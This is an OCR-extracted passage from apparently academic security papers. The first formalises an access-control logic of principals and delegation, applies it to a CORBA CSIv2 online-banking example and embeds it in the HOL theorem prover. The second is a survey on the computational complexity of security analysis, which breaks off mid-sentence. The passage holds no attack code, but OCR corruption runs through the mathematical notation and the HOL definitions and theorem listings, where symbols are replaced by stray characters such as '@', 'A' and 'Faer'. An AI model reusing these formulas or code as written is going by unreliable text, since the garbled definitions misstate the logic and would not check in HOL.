web server passes on Clyde’s username, password, and request r to an online
banking server (Carol) over SSL; because the request is transmitted over SSL,
Carol authenticates the web server as Tony, rather than identifying the web
server as Default. The CSIv2 protocol specifies how the information is to be
interpreted by the target principal.
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Because delegated authority must be carefully controlled and limited to pre-
vent fraud, reasoning about delegation must be done precisely, accurately, and
consistently. To meet these needs we use a specialized calculus and modal logic
for reasoning about brokered requests and delegations. In the next section, we
give an overview of this logic; we then revisit the banking scenario in Section [l

3 Calculus for Reasoning about Brokered Requests

In a series of papers [5l3I8], Abadi and colleagues introduced a logic for au-
thentication and access control for distributed systems. This logic incorporates
a calculus of principals into a standard multi-agent modal logic: the calculus of
principals provides a mechanism to describe ordering relationships among princi-
pals, while the modal logic provides a mechanism for reasoning about principals’
credentials and the statements they make. The result is a logic that supports
reasoning about access control, delegation, and trust.

3.1 Calculus of Principals

Syntactically, the calculus of principals is very simple. We assume the existence
of a countable set containing simple principal names and ranged over by the
meta-variable A. The set of principal expressions (ranged over by P and Q) has
an abstract syntax given by the following grammar:

Pu=A| PAQ | PIQ | PforQ

Intuitively, P A @@ denotes a principal whose statements correspond precisely
to those statements that P and @Q jointly make. P|@ denotes a principal whose
statements correspond to those that P attributes to Q. Finally, P for () denotes a
principal whose statements correspond to those that P is authorized to attribute
to Q. We consider P A @ to be a stronger (i.e., more trustworthy) principal than
either P or @ because of the consensus. Likewise, we consider P for ) to be a
stronger principal than P|@Q because of the authorization.

Semantically, we interpret principal expressions over a multiplicative semi-
lattice semigroup (MSS). An MSS (5, A, ||) is a set S equipped with two binary
operations (Aand ||): A is idempotent, commutative and associative, while || is
associative and distributes over A in both arguments. For S-elements x and y,
the element x Ay is the meet of x and y. Thus the operator A induces an ordering
< on S as follows: z < y if and only if x =z A y.

As a common (and useful) example of a MSS, consider any set T', and let Tx
be a set of binary relations over T that is closed under union (U) and relational
composition (o). It is straightforward to verify that (Tr,U, o) satisfies the MSS
axioms. In this case, the ordering < amounts to the superset relation: ry < ro if
and only if 71 = r1 Urg, which is true precisely when 1 D 7.

Every MSS can be used to provide an interpretation for principal expressions.
Specifically, consider any structure M = (P, J), where P is an MSS and J is a
total function that maps each simple principal name to an element of the MSS
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P. We can extend J to a meaning function J that provides an interpretation for
all principal expressions, as follows:

J(A)=J(4), JPAQ=JP)AJQ), J(PIQ)=J(P)I(Q)

Abadi and colleagues suggest that the principal P for Q can be viewed as syn-
tactic sugar for (P|Q) A (D|Q), where D is a (fictional) distinguished principal
that validates P’s authorization to make statements on @)’s behalf.

3.2 Modal Logic

The calculus of principals provides a mechanism to describe ordering relation-
ships among principals. To reason about principals’ credentials and access con-
trol, we turn to modal logic.

Syntar. We assume the existence of a countable set of propositional variables,
ranged over by the meta-variables p and ¢. This set, along with formulas of form
“P speaks_for Q7 and “P says ¢” that relate principals and statements, forms
the basis for a set LogExp of logical formulas. The abstract syntax for logical
formulas, ranged over by ¢ is given by the following grammar:

pu=p | o | pr&pa | prorpa | p1 D 2| p1 = @2 | Psaysgp |
P speaks_for ()

We will see that, semantically, the formula P speaks_for () holds when P < @
is true in the underlying calculus of principals. It follows that speaks_for is
monotonic with respect to both A and |.

Logical Rules. Having identified the syntax of logical expressions, we now intro-
duce a collection of logical rules for manipulating them. In particular, we define
a derivability predicate - over logical formulas: we write F ¢ provided that the
formula ¢ is derivable from the collection of rules. This collection of rules can
be split into two groups: those standard for all modal logics and those relating
the modal logic to the calculus of principals. These rules appear in Figure [

Semantics. The logical rules are useful for deducing relationships among princi-
pals and for reasoning about issues of delegation and trust. However, as given,
they merely provide rules for manipulating syntactic expressions: there is no a
priori reason to trust in their consistency. We therefore must introduce a seman-
tic framework in which to prove their soundness.

We have already seen that MSSs can provide suitable interpretations for the
calculus of principals. For simplicity of exposition, in the following discussion we
restrict ourselves to algebras of binary relations; however, arbitrary MSSs can
be used as the underlying model for principals with some additional overhead
(for example, see [3]).

We use Kripke structures to provide interpretations for logical formulas. A
Kripke structure M = (W,wq, I, J) comprises a set W of possible worlds; a
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Fo if  is an instance of a propositional-logic tautology

Fe Fo D¢ Fo
v FPsays ¢ (for all P)

F(Psays (¢ D ¢')) D (Psays D Psays )

Fo if ¢ a valid formula of the calculus of principals

F(PAQ)says ¢ <= (P says ) & (Q says )

F (P|Q) says ¢ <= P says Q says ¢

F (P speaks_for Q) O ((P says ¢) O (Q says ¢)) (for all )

Fig. 1. Logical rules for the derivability predicate -

distinguished element wy € W; an interpretation function I, which maps each
propositional variable to a subset of W; and an interpretation function J, which
maps each principal name to a binary relation over W (i.e., a subset of W x W).
Intuitively, I(p) is the set of worlds in which the propositional variable p is
true, and J(P) is the accessibility relation for principal P: if (w,w’) is in J(P),
then principal P cannot distinguish w’ from w. One must be careful with this
intuition, however: there is no guarantee that the relation J(P) is symmetric (or
even reflexive or transitive) for an arbitrary principal P, as there is no a priori
expectation that an arbitrary principal will be rational.

As we saw previously, we can extend J to a meaning function J that operates
over arbitrary principal expressions:

J(A) =

~ (W),  IPAQ=IPUIQ ~
J(PIQ) =

J
J(Q) o J(P) = {(w,w") | I (w,w') € J(P) & (w',w") € J(Q)}

Finally, we can define a meaning function £, : LogExp — 2% that gives
the set of worlds in which a formula is true:

Emlpl = 1(p)
Emle] =W = Emly]
Emler & pa] = Emlpr] N Emlp2]

EmIP says ] = {w | J(P)w C En [e]}
={w]| {w'| (w,u') € J(P)} C Emlel}

W.if J C J(P
EmP speaks_for Q] = { 0 ’ :)the(gv)is; )
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We write M, w |= ¢ provided that w € Eapq[]. We write M |= ¢ provided that
M, wy | @; this relationship is pronounced “M satisfies ¢”. Finally, we say that
© is valid (and write |= ¢) if all Kripke structures M satisfy .

The logical rules of Figure [[lare sound with respect to the Kripke semantics:
for every formula ¢, - ¢ implies that = . Therefore, every formula that can be
derived from the logical rules is satisfied in all Kripke structures.

4 CORBA Example in the Calculus

We now return to the online-banking scenario introduced in Section[2, changing
the names of the actors for expository purposes:

A banking customer Bob uses a web browser to access his online banking
account to pay a bill. The web browser (WB) requires Bob to give his
username and password ({Bob, pwd)), which the browser passes along
with Bob’s bill-payment request (r) to the online-banking server (S) via
a CORBA CSIv2 request.

In terms of Table[ll WB is playing the part of Tony (i.e., a transport principal
who uses SSL), and Bob is cast as Clyde (i.e., the client-authentication field
contains Bob’s userid and password). The online-banking server is the target
service provider, and thus serves as Carol. If we assume that there is no identity
token included with the request, then this scenario again conforms to the fourth
case of the table.

The banking server interprets the request as two pieces of information:

WB says Bob says r (1)
WB says ((Bob, pwd) speaks_for Bob) (2)

Thus, from the banking server’s perspective, WB is making two claims: (1) that
Bob wants to perform action 7, and (2) that the username-password pair belongs
to Bob.

Now suppose that banking server has an access-control policy that allows
WB forg Bob to perform the action r: that is,  can be performed only if S de-
termines that WB is working on Bob’s behalf. In the Abadi calculus, WB for Bob
is syntactic sugar for a principal WB|Bob A D|Bob, where D is a (fictional) dele-
gation authority. In an open system, however, there may be several such (possibly
nonfictional) authorities. Thus, we generalize this approach by subscripting the
for operator with the name of a specific authority, in this case the banking server
S itself.

The online-banking server is prepared to believe that WB is working on
Bob’s behalf, provided that its trusted password server (PS) verifies the pair
(Bob, pwd). Thus, the banking server is governed by the following rule:

((WB A PS) says ({(Bob, pwd) speaks_for Bob))
D (WB|Bob) speaks_for (S|Bob) (3)
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Notice that, implicitly, the banking server believes that the only way WB would
have Bob’s pwd is if Bob provided it to allow WB to make requests on Bob’s
behalf.

The server passes the username-password pair on to the password server,
which confirms the validity of that pair. Thus, from the perspective of the online-
banking server,

PS says ((Bob, pwd) speaks_for Bob) (4)
Combining the pieces of information (2) and (), S determines that
(WB A PS) says ({Bob, pwd) speaks_for Bob).
Therefore, using Rule (3)), the banking server deduces that
WB|Bob speaks_for S|Bob.
Because speaks_for is a monotonic operator, this fact yields
WB|Bob speaks_for (WB|Bob A S|Bob),

and hence
(WB|Bob) speaks_for (WB forg Bob).

Combining this result with the original request (), the banking server can de-
duce that
WB fors Bob says r.

In accordance with its access-control policy, the online banking server then grants
the request.

We return to this example in Section 6] where we discuss how it can be
verified in higher-order logic and HOL. However, we first describe how the logic
itself can be embedded into HOL.

5 Implementing the Logic in HOL

In the previous sections, we have described the logic for access control and showed
how it can be used to reason about brokered requests. Furthermore, this logic
played an important role in the development of the CSIv2 standard, by providing
a way to consider how to interpret requests and the SAS data structure.

To provide mechanized support for reasoning about the standard and its
applications, we have embedded a subset of the logic into the Cambridge HOL
(Higher Order Logic) theorem prover [4]. HOL supports a predicate calculus
that is typed and allows variables to range over predicates and functions. HOL
is implemented using the meta-language ML [6] and, at the lowest level, is a
collection of ML functions that operate on sequences. The benefits of using
HOL (or any open theorem prover) are at least threefold: (1) our results are
formally verified and checked, (2) our results are easily reused by others and can
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be independently checked, and (3) future modifications and extensions to HOL
theories can be easily verified for correctness.

There are multiple ways to embed a logic in HOL. The simplest way is to
perform an aziomatic extension of the HOL logic: all of the desired theorems
of the embedded logic (e.g., the axioms and inference rules in Figure [} are
defined as unproved axioms in HOL. This method is easy, but it may result in
an inconsistent theory, thereby defeating the point of theorem proving.

The other possibility is to perform a conservative extension of the HOL logic:
the desired logic is introduced as a series of definitional extensions in HOL, and
all desired axioms and theorems are proved within the HOL system. Although
this method requires much more work than an axiomatic extension, any resulting
theories are guaranteed to be sound.

We therefore choose this latter approach, which requires the following steps:

1. Creating HOL datatypes for principals, formulas, and Kripke structures,
along with their type constructors

2. Defining in HOL the models operator (}=)

3. Proving the soundness of the desired axioms and inference rules

We consider these steps in turn, as we give a flavor of the embedding.

The first step is to introduce new HOL datatypes for principal expressions,
logical formulas, and so on. To do this, we use the Hol_datatype command, as
in the following example:

Hol_datatype principal = name of string
| meet of principal — principal
| quoting of principal — principal
| forp of principal — principal — principal;

Recall that, for any structure M = (W, wy, I, J) and world w € W, the prop-
erty M, w | ¢ is true if and only if w € Ep[¢]. Therefore, one way of defining
the models predicate in HOL is first to define the meaning function Eaq[—],

which in turn requires a definition for the extended interpretation function J.
We have defined these functions in HOL as follows:

val JextDef =

Faer  (Jext (World,w0,Ifn,Jfn) (name A) = Jfn World (name A)) A
(Jext (World,w0,Ifn,Jfn) (P meet Q) =
Jext (World,w0,Ifn,Jfn) P UNION Jext (World,w0,Ifn,Jfn) Q) A
(Jext (World,w0,Ifn,Jfn) (P quoting Q) =
Jext (World,w0,Ifn,Jfn) Q O Jext (World,w0,Ifn,Jfn) P) A
(Jext (World,w0,Ifn,Jfn) (P forp D) Q =
(Jext (World,w0,Ifn,Jfn) Q O Jext (World,w0,Ifn,Jfn) P) UNION
(Jext (World,w0,Ifn,Jfn) Q@ O Jext (World,w0,Ifn,Jfn) D)) : thm
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val EfnDef =
Faer (Efn (World,w0,Ifn,Jfn) (pv s) = Ifn World (pv s) INTER World) A
(Efn (World,w0,Ifn,Jfn) (nots s1) =
World DIFF Efn (World,w0,Ifn,Jfn) s1) A
(Efn (World,w0,Ifn,Jfn) (s1 ands s2) =
Efn (World,w0,Ifn,Jfn) s1 INTER Efn (World,w0,Ifn,Jfn) s2) A
(Efn (World,w0,Ifn,Jfn) (s1 ors s2) =
Efn (World,w0,Ifn,Jfn) s1 UNION Efn (World,w0,Ifn,Jfn) s2) A
(Efn (World,w0,Ifn,Jfn) (s1 imps s2) =
World DIFF Efn (World,w0,Ifn,Jfn) s1 UNION
Efn (World,w0,Ifn,Jfn) s2) A
(Efn (World,w0,Ifn,Jfn) (s1 eqs s2) =
(World DIFF Efn (World,w0,Ifn,Jfn) s1 UNION
Efn (World,w0,Ifn,Jfn) s2) INTER
(World DIFF Efn (World,w0,Ifn,Jfn) s2 UNION
Efn (World,w0,Ifn,Jfn) s1)) A
(Efn (World,w0,Ifn,Jfn) (P says s1) =
{ w14 | Rfn (World,w0,Ifn,Jfn) P Rwith w14 SUBSET
Efn (World,w0,Ifn,Jfn) s1}) A
(Efn (World,w0,1Ifn,Jfn) (P speaks_for Q) =
{ y| Rfn (World,w0,Ifn,Jfn) Q@ SUBSET Rfn (World,w0,Ifn,Jfn) P A
y IN World})
(Efn (World,w0,Ifn,Jfn) (P eqp Q) =
{y | (Jext (World,w0,Ifn,Jfn) P = Jext (World,w0,Ifn,Jfn) Q) A
y IN World}) : thm

We can then formally define the models predicate (=) as follows:

val ModelF'nDef =
Faef Y World w0 Ifn Jfn wi s.
((World,w0,Ifn,Jfn),wl) MD s =
wl IN World > w1 IN Efn (World,w0,Ifn,Jfn) s : thm

Using the models predicate, we proved the soundness of the axioms intro-
duced in []. Specifically we proved as sound the standard modal properties
(S2-S4). We did not directly prove sound S1, which corresponds to the first rule
in Figure [I}

@ if  is an instance of a propositional-logic tautology
To prove this in HOL would require proving each tautology separately. Instead,
we proved only those tautologies that we needed for our specific examples.

We also proved as sound the axioms relating the modal logic to the calculus
of principals (i.e., the axioms P1, P2, P3, P5, P6, P7). However, we did not prove
soundness of their hand-off axiom (P10), because (as noted in their paper) it is
not sound. Appendix [A] provides a partial list of axioms and theorems we have
proved sound.
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6 Banking Example in HOL Theorem Prover

Having described our HOL implementation, we can now return to the online-
banking example introduced in Section [4. In that scenario, an online-banking
server (SD) receives a request from a web browser (WB) purportedly working
as a broker on behalf of a bank client Bob. Determining whether or not that
request should be honored required a chain of reasoning based on statements
regarding who spoke for whom, delegation relationships, and requests. That
chain of reasoning is captured by the following theorem:

VWB Bob BobPwd PS SD req World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),w1) MD

(WB says BobPwd speaks_for Bob) imps
(PS says BobPwd speaks_for Bob) imps
(((WB meet PS) says BobPwd speaks_for Bob) imps
(WB quoting Bob) speaks_for (SD quoting Bob)) imps
(WB says Bob says req) imps
((WB forp SD) Bob says req)

This goal can be proved by applying a series of HOL tactics to the logical
rules given in Figure[I. As mentioned previously, we cannot use the first rule of
Figure [ directly. Instead, we must introduce particular instances of this rule,
which we can then verify in HOL. To prove the desired theorem, we need four
specific instances, one of which is shown below:

(1 imps (2 imps (@3 imps (@4 imps ¢s5)))) imps
(5 imps (4 imps @g)) imps
(¢1 imps (2 imps (w3 imps (¢4 imps ¢g)))))

To verify the soundness of these new rules in HOL system, we must show that
they are satisfied by all Kripke models. Thus, for example, we must prove the
following theorem in HOL:

F Vsl 82 s3 s4 85 s6 World w0 Ifn Jfn wi.
((World,w0,Ifn,Jfn),w1) MD
((s1 imps (s2 imps (s8 imps (s4 imps s5)))) imps
((s5 imps (s4 imps s6)) imps
(s1 imps (s2 imps (s8 imps (s4 imps s6)))))) : thm

Proving the soundness of these rules is time consuming but straightforward.
However, having to prove them significantly increases the burden for proving the
desired theorem about the banking scenario.

7 Conclusions

Our original objective was to implement an access-control logic in HOL in order
to reason about the CSIv2 protocol in ways that are assured and independently
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verifiable using mechanical theorem provers. This objective has been met by the
current implementation. We expect that it would be straightforward for users
of theorem provers other than HOL to inspect our definitional extensions and
replicate the axioms, soundness proofs, theorems, and examples in the theorem
prover of their choice.

In the course of doing our proofs, we investigated proving a soundness theo-
rem directly:

If statement ¢ is derivable from the access-control axioms, then ¢ is
satisfied by all Kripke models.

The advantage of having such a theorem would be that users could do all their
reasoning at the level of the access-control logic — instead of at the level of Kripke
structures — and know that their conclusions were sound. In addition, such the-
orem would support using different models of the access-control logic (e.g., the
MSS model) without affecting the proofs done by users: the sole requirement
would be that the appropriate soundness theorem would have to be proved be-
forehand. Unfortunately, the prospects of introducing a derivability predicate
and then proving soundness in HOL did not look promising, due to the de-
pendence based on propositional-logic tautologies. Logical frameworks such as
Isabelle/HOL [7] might better facilitate such an approach.

As stated previously, the access-control logic we have implemented was used
to give a formal interpretation of part of the CSIv2 standard. As the CSIv2 stan-
dard is extended to provide a standard interpretation for the security-attributes
component of the SAS data structure, there will be a need to reason about au-
thorizations and privileges. We anticipate extending the current logic to support
such reasoning. The benefits of such an extension include the ability to give
a precise and accurate interpretation of the standard and a means for formal
assurance of correctness and security.
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A Theorems

We include a partial list of the axioms and derivable theorems of the authenti-
cation logic we have proved in HOL. The axioms included here correspond to
those given in the appendix of [5].

val S2Thm =
F Vsl s2.
(VWorld w0 Ifn Jfn wi. ((World,w0,Ifn,Jfn),wl) MD s1) A
(Y World w0 Ifn Jfn wi. (( World,w0,Ifn,Jfn),w1) MD (s imps s2)) D
vV World w0 Ifn Jfn wi. ((World,w0,Ifn,Jfn),wl) MD s2 : thm
val S8 2Thm =
F VWorld w0 Ifn Jfn wi P s1 s2.
((World,w0,Ifn,Jfn),w1) MD
(((P says s1) ands P says sl imps s2) imps P says s2) : thm
val S4Thm =
F Vs
(Y World w0 Ifn Jfn wl. (( World,w0,Ifn,Jfn),wi1) MD s) D
VP World w0 Ifn Jfn wi. (( World,w0,Ifn,Jfn),w1) MD (P says s) : thm
val S5Thm =
F VP sl s2 World w0 Ifn Jfn wi.
((World,w0,Ifn,Jfn),w1) MD
((P says s1 ands s2) eqs (P says s1) ands P says s2) : thm
val P1Thm =
F VP Q s World w0 Ifn Jfn wi.
((World,w0,Ifn,Jfn),wil) MD
(((P meet Q) says s) eqs (P says s) ands Q says s) : thm
val P2Thm =
F VP Qs World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),wl) MD
(((P quoting Q) says s) eqs P says Q says s) : thm
val P8Thm =
F VP Qs World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),w1) MD
((P egp Q) imps (P says s) eqs Q says s) : thm
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val P4AssocThm =
F VP Q R World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),w1) MD
(((P meet Q) meet R) eqp (P meet Q meet R)) : thm

val P{CommuThm =
F VP Q World w0 Ifn Jfn wi.
((World,w0,1Ifn,Jfn),w1) MD ((P meet Q) egp (Q meet P)) : thm

val P4ldemThm =
F VP World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),w1) MD ((P meet P) eqp P) : thm

val P5Thm =
F VP Q R World w0 Ifn Jfn wi.
((World,w0,1Ifn,Jfn),w1) MD
(((P quoting Q) quoting R) eqp (P quoting Q quoting R)) : thm

val P6LeftThm =
F VP Q R World w0 Ifn Jfn wi.
((World,w0,Ifn,Jfn),w1) MD
((P quoting @Q meet R) eqp ((P quoting Q) meet P quoting R)) : thm

val P6RightThm =
F VP Q R World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),w1) MD
(((@ meet R) quoting P) eqp ((Q quoting P) meet R quoting P)) : thm

val P7Thm =
F VP Q World w0 Ifn Jfn wi.
((World,w0,1Ifn,Jfn),w1) MD
((P speaksfor Q) eqs P eqp (P meet Q)) : thm

val P8Thm =
F VP Qs World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),w1) MD
((P speaksfor Q) imps (P says s) imps Q says s) : thm

val P9Thm =
F VP Q World w0 Ifn Jfn wl.
((World,w0,Ifn,Jfn),w1) MD
((P egp Q) egs (P speaksfor Q) ands Q speaks for P) : thm

val P12Thm =
F VP Q P World w0 Ifn Jfn wi.
((World,w0,Ifn,Jfn),w1) MD
((((P" meet Q) speaksfor P) ands Q speaksfor P’) imps
Q speaks for P) : thm
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Abstract. The talk is a survey of complexity problems that concern the
analysis of information systems security; the latter means here mainly
proving the requirements properties. Though the complexity aspects of
cryptology is not a topic of the talk, some concepts and questions of this
field will be discussed, as they may be useful for the development security
concepts of general interest. We discuss the decidability and complexity
of the analysis of cryptographic protocols, of the analysis of the problem
of access to information systems and the complexity of detection of some
types of attacks. We argue that many negative results like undecidability
or high lower bounds, though of a theoretical importance, are not quite
relevant to the analysis of practical systems. Some properties of realistic
systems, that could be taken into account in order to try to obtain more
adequate complexity results, will be discussed. Conceptual problems, like
the notion of reducibility that preserves security, will be touched.

1 Relevance of the Complexity Theory

Though security problems related to computers were revealed during early days
of computer science, their variety and difficulty were perceived relatively recently
because of their growing pressure on the society. The amount of concrete valu-
able information on security problems is enormous, and a good amount of this
information is available. However, theoretical settings to study the security of
information systems are evidently not yet developed to a satisfactory level. And
taking into account the quantitative and qualitative complexity of the problem,
the way towards a development of productive theories of the security seems to
be not so short.

The goal of this text is to discuss the computational complexity aspects of
the analysis of the information systems security. Why to speak about complex-
ity? The reason is simple: basically, the main security questions that appear in
practice are algorithmic. We wish to verify security properties, we wish to detect
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attacks, we wish to recognize the presence of malicious code and so on. And
we wish to do it automatically, using algorithms, and these algorithms must be
efficient, and here the complexity arrives. Historically the complexity played an
outstanding role in elaborating many quite pragmatical theories in computer
science.

One can easily remark that in the context of the state-of-the-art of the theory
related to the security itself, as mentioned just above, this enterprise cannot give
genuine insights, to put it mildly. The difficulty is also aggravated by the state of
the theory of computational complexity, that, to my mind, is in a relative crisis,
historically quite natural.

What do we really know about the complexity of practical or, at least, con-
crete problems? There is a great intellectual achievement in devising algorithms
that ensure this or that efficiency, formulated as upper bounds of the compu-
tational complexity, sometimes in a very detailed manner that facilitates their
estimation from practical viewpoint. As for the lower bounds, the results not
leaning upon intractability conjectures (many of the latter seem to me rather
dubious) are those that state undecidability, high (exponential and above) lower
bounds or hardness with respect to some classes of problems that the majority
of the community is inclined to believe to be worst-case or otherwise difficult.
(Notice that the majority is not always right concerning scientific matters.)

One can easily see that these results are not relevant to practical problem.
Indeed, a typical proof of such a result constructs a subset of problem instances
that model execution of some class of algorithms, usually Turing machines. But
only some diagonal algorithms give the high complexity. So the difficult instances
are based on diagonal algorithmic constructions. No practical algorithm, as far
as | am aware, uses diagonal constructiond?.

The consequence of this irrelevancy remark is that negative results, whatever
be their theoretical importance for crafting a theory, and this role is often undeni-
ably outstanding, should be adequately interpreted vis-a-vis practical problems.
To say it in other words, we are to understand better what is practical problem
from theoretical viewpoint.

As an example consider how one typically proves that it is undecidable
whether a given program contains a malicious code. Take any program that
do some prescribed work. Append into it a piece of code that is executed ‘in
parallel” with the main activity and that checks self-applicability of some other
code X, i. e. this parallel activity applies a universal machine that takes X as
program and applies it to X. If this process halts then our appended program
behaves as a virus, otherwise it does nothing. As a mass problem over X, it is

1 A. Pnueli remarked at the workshop on verification in May 2003 in Tel-Aviv that it

would more precise to say that the existing proofs of these results are not relevant
to practical problems.
One can imagine some algorithms based on diagonal constructions. The most inter-
esting example that I know, is L. levin’s ‘optimal algorithm’ for the SAT (proposi-
tional logic satisfiability) problem — one of the basic NP-complete problems. The
algorithm is optimal modulo a multiplicative constant; a brilliant ‘cheating’ is in the
size of this constant.
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undecidable whether the virus will be launched or not. But it is clear that if
we know what is our initial program about and what is its structure we can
find even by a static analysis a presence of a suspicious part in it. And this is
sufficient for the detection of a possible insecurity.

Taken theoretically, the domain of security is not yet sufficiently well de-
fined. And algorithmic facets cannot cover many aspects involved in practical
security — they are very different: human, social, juridical, related to hardware
emissions, related to hardware or software functionality — just to mention those
usually addressed in the courses on security (there are many books that give a
general coverage of security problems and activities to ensure security making
accent on administration, not on technical issues, e. g. [4]16]; B. Schneier [23]
presents the security problem in a fascinating style clearly explaining that it is
far from being a technical problem).

The complexity theory may help to understand better algorithmic questions,
and if to think about Kolmogorov complexity, some information theoretic issues.
We will discuss only questions where computational complexity seems to be
relevant. The choice of topics to discuss is very subjective, not to speak about
references that are rather random.

2 The Problem of Access

The access can be protected by some piece of secrete information (password,
encryption/decryption key, place where information is hidden), by a policy mon-
itoring the access or otherwisefl. The security problems that arise concern the
complexity of the mechanism of protection itself, the complexity of breaching it
and the complexity of verification either of its properties or of properties of its
applications.

For example, for a public key encryption/decryption method based on num-
ber theory (RSA, El Gamal) the speed of applying the mechanism is essential,
and it is a lower level complexity problem, the complexity of breaching the en-
cryption is a higher level complexity problem, and the verification of security
properties a cryptographic protocol that uses this kind of encryption, is one
more type of problems related to complexity. The complexity study of this set of
problems is the most advanced one, as well as the conceptual framework. Cryp-
tography itself is not our subject, and not the dominating subject of the mass
concerns about information systems security nowadays. However, the theoretical
frameworks developed in cryptography are of great value for study many other
security problems. We will discuss it below.

What is slightly astonishing, is that steganography and watermarking, that
seem to have a theoretical flavor similar to that of cryptography, are not suffi-
ciently intensively studied from the complexity and information theoretic view-
points. Sure, there are many particular features of these domains that differ
them from cryptography. Particular pattern learning and the respective pattern

3 1 discuss examples, but not exhaustive listing. I have no intention to give any clas-
sification or ontology.



50 A. Slissenko

recognition come to mind immediately. A geometric and statistical nature of the
pattern processing does not permit to apply directly a well developed techniques
of traditional pattern matching and its complexity analysis. Concerning this sub-
ject of steganography and watermarking we can only state that its complexity
analysis seems to be feasible for the reasons just mentioned.

This or that pattern recognition, mainly statistical in its spirit, seem to be
of considerable practical importance in various access protection problems. One
of actively studied ones is vulnerability analysis of networks. Several complexity
questions concern the analysis of attack graphs — they will be mentioned below.

Another problem for which an appropriate pattern analysis seem to be ad-
equate is the detection of malicious code; however, no complexity results or at
least problem formulations are not known to me. Some considerations used in
static buffer overrun detection could prove to be relevant.

A different kind of access protection is a protection by programming means,
like typing, imposing certain policies and checks, like stack inspection.

Of all the questions listed above only complexity of cryptography and its
applications in protocols is studied since long time.

3 Useful Notions from Cryptography

We mentioned above that results on the security of encryption, if to put aside
information theoretic argument that is applicable to encryptions not widely used
nowadays, are based of intractability hypotheses. What is of larger interest to
the security is the system of notions developed in the theory of cryptography. An
excellent coverage of this topic can be found in [15] and drafts of Chapters 57
available at the web page of Oded Goldreich.

In practice, security questions contain some amount of uncertainty: we are
never sure that our system is secure and never sure that its known or probable
insecurity will be exploited. So if to go sufficiently far towards building adequate
models of security, we are to take into consideration uncertainty issues. Qual-
itative uncertainty can be described with the probability theory — the most
developed qualitative theory of uncertainty. A hard question how to find initial
probabilities in the computer security context is far from being studied.

The notion of general interest for the security is that of indistinguishability:
objects are considered as computationally equivalent if they cannot be differ-
entiated by any efficient procedure from some class. The precise notion mostly
used in cryptography is that of probabilistic polytime indistinguishability that
is a coarsing of classical statistical closeness: for example, two sets of random
Boolean variables (ensembles) X = {X,, },en and YV = {Y}, }nen are statistically
close if there statistical difference, also called variation distance, is negligible.
Probabilistic polytime indistinguishability for X and Y demands that for any
probabilistic polytime algorith and every positive polynomial p(n) the differ-
ence between the probabilities that D determines the values of X, and Y,, as 1

4 There several notions of probabilistic algorithms; in our informal discussion there is
no need to make precisions, see [15].
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1
p(n)
” A . .
large” — if it is ‘nonconstructive’, the notion may become useless).

The indistinguishability can be used to formulate security properties, e. g.
to express that some piece of information w remains secrete in an execution, we
say that any execution with w is indistinguishable from executions where w is
replaced by some other piece of the same type. However, such general notions
are not always sufficiently practical for the verification.

Cryptography, more precisely, the theory of multi-party protocols (see Ch. 7
of [15]) gives also a classification of parameters that permits to specify differ-
ent aspects of system behavior in the context of security: the communication
channels (private, broadcast or intermediate); set-up assumptions (what is the
initial or other input knowledge of the parties); computational limitations (usu-
ally polytime adversary or that of unlimited computational power); constraints
of adversarial behavior (adaptive or non-adaptive, passive or active, and oth-
ers); notions of security; constraint on the number of dishonest parties and some
other. A hierarchy of private-key security notions was developed in [17] for secu-
rity goal of both indistinguishability and non-malleability. Security notions for
public-key encryption are compared in [2].

One more important question that was studied in cryptography concerns
preservation of security when composing a secure protocol with other ones [7].
The importance of this question is evident for the preservation of security prop-
erties in implementations of protocols.

The notions mentioned above give ideas how to formalize other contexts and
aspects of security. For example, paper [I8] and later papers of the same authors
apply the indistinguishability notion and probabilistic polytime attacks in order
to incorporate probabilistic arguments into cryptographic protocol analysis on
an abstract level.

is less than for sufficiently large n (one must be cautious with “sufficiently

4 Protocols

Fault-tolerance of distributed algorithms has a long history. Some questions,
that are of security nature, were studied in this field as fault-tolerance in the
presence of Byzantine agents whose behavior is assumed to be the worst possible
with respect to the correct agents. If the channels are private (secure) there are
many algorithmic and complexity results not involving cryptography nor any
intractability conjectures, for example Byzantine consensus, clock synchroniza-
tion — e. g. see [26]. However, problems of this type are rather marginal for
the security, as they are relevant to situations when many agents participate
simultaneously.

Another research domain concerning protocols, is the domain of multi-party
protocols that are studied in cryptography, see Ch. 7 of [15]. The initial notion
to describe multi-party protocols is that of random process describing a func-
tionality; it is a random function mapping M inputs on M outputs. Randomness
becomes crucial when the question of security of the involved cryptography be-
comes central.
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The results on multi-party protocols can be very roughly divided into results
related to private channels, many of them can be proved without intractability
conjectures, and results for insecure channels that use some intractability con-
jectures like the existence of trap-door functions with particular properties. The
complexity is measured in the number of rounds and the number of transmitted
bits. The results can be traced starting from [I5].

The most relevant topic in our context is the verification of security prop-
erties of cryptographic protocols under the condition that the cryptographic
part enjoy certain security properties. The most common assumption is that
the cryptography involved is absolutely secured (perfect encryption) [3]. Even
within this conjecture the problem, taken theoretically, has not yet been satis-
factorily solved even for abstract specifications of protocols, not to speak about
implementations. The main question for this set of problems is the complexity
of verification of different security properties.

For concreteness, let us take one security property: to guard secret the session
key during a current session in protocols of session key distribution. There are
several results stating the undecidability of this property, the strongest ones are,
apparently, [12] and [I]. The result of [12] is based on a general notion of protocol
that is far from the reality — though the authors speak of bounded messages
(the height is bounded), their bit complexity is unbounded, and this permits to
model any Turing machine execution as a session of the protocol. One can see
also that we have here sessions of unbounded length and, in fact, there is only
one session — that one which is the execution of the modeled Turing machine.
The result of [T] also bounds the height of messages and even does not permit
the pairing function.

If for decidability results, they are too numerous to try to give a complete
survey that would hardly be of interest to people thinking about realistic ap-
plications; a brief overview of main existing approaches can be found in [I0].
However, we mention some such results. Under a realistic assumption that the
number of parallel sessions is bounded [21] shows that the problem of insecurity
is NP-complete. If not to bound the number of sessions but to bound the gener-
ation of fresh names then we can still preserve the decidability but with higher
complexity, between simple and double exponential time in [1]. In [9] another
(incomparable) class of protocols, decidable in exponential time, is described
that contains ping-pong protocols [I1]; more classes of decidable protocols with
hyper-exponential complexity can be found in [§].

We conjecture that security properties of practical protocols are decidable.
One idea why it is likely to be so is that from [6]. This consideration is formulated
without any particular constraints diminishing practical relevance of decidable
classes. Any verification problem can be represented as proving a formula of the
form (¢ — W), where & represents the set of runs on the algorithm to verify
